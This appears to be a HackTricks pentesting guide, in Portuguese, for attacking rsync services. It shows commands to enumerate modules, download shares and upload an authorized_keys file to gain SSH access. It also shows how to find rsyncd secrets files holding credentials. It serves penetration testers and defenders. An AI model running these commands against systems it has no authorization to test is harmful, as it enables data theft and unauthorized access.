hacktricks/network-services-pentesting/873-pentesting-rsync.md
2023-06-06 18:56:34 +00:00

4.1 KiB

Informação Básica

rsync é um utilitário para transferir e sincronizar arquivos de forma eficiente entre um computador e um disco rígido externo e entre computadores em rede, comparando os horários de modificação e os tamanhos dos arquivos. É comumente encontrado em sistemas operacionais semelhantes ao Unix. O algoritmo rsync é um tipo de codificação delta e é usado para minimizar o uso da rede. O Zlib pode ser usado para compressão adicional de dados e o SSH ou o stunnel podem ser usados para segurança.

De wikipedia.

Porta padrão: 873

PORT    STATE SERVICE REASON
873/tcp open  rsync   syn-ack

Enumeração

Banner e Comunicação Manual

nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0        <--- You receive this banner with the version from the server
@RSYNCD: 31.0        <--- Then you send the same info
#list                <--- Then you ask the sever to list
raidroot             <--- The server starts enumerating
USBCopy        	
NAS_Public     	
_NAS_Recycle_TOSRAID	<--- Enumeration finished
@RSYNCD: EXIT         <--- Sever closes the connection


#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g    <--- This means you need the password

Enumerar pastas compartilhadas

Um módulo rsync é essencialmente um compartilhamento de diretório. Esses módulos podem ser protegidos por senha opcionalmente. Esta opção lista os módulos disponíveis e, opcionalmente, determina se o módulo requer uma senha para acessar:

nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list

#Example using IPv6 and a different port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730

Observe que pode ser configurado um nome compartilhado para não ser listado. Então pode haver algo oculto.
Observe que pode haver alguns nomes compartilhados sendo listados onde você precisa de algumas (diferentes) credenciais para acessar. Então, nem sempre todos os nomes listados vão ser acessíveis e você vai perceber isso se receber uma mensagem de "Acesso Negado" ao tentar acessar alguns deles.

Força bruta

Rsync Manual

Depois de ter a lista de módulos, você tem algumas opções diferentes dependendo das ações que deseja realizar e se a autenticação é necessária. Se a autenticação não for necessária, você pode listar uma pasta compartilhada:

rsync -av --list-only rsync://192.168.0.123/shared_name

E copie todos os arquivos para sua máquina local através do seguinte comando:

rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared

Isso transfere recursivamente todos os arquivos do diretório <shared_name> na máquina <IP> para o diretório ./rsync_shared na máquina local. Os arquivos são transferidos no modo "arquivo", que garante que links simbólicos, dispositivos, atributos, permissões, propriedades, etc. sejam preservados na transferência.

Se você tiver credenciais, pode listar/fazer download de um nome compartilhado usando (a senha será solicitada):

rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared

Também é possível fazer upload de algum conteúdo utilizando o rsync (por exemplo, neste caso podemos fazer upload de um arquivo authorized_keys para obter acesso à máquina):

rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh

POST

Encontre o arquivo de configuração do rsyncd:

find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)

Dentro do arquivo de configuração, às vezes você pode encontrar o parâmetro secrets file = /path/to/file e este arquivo pode conter nomes de usuário e senhas permitidos para autenticar no rsyncd.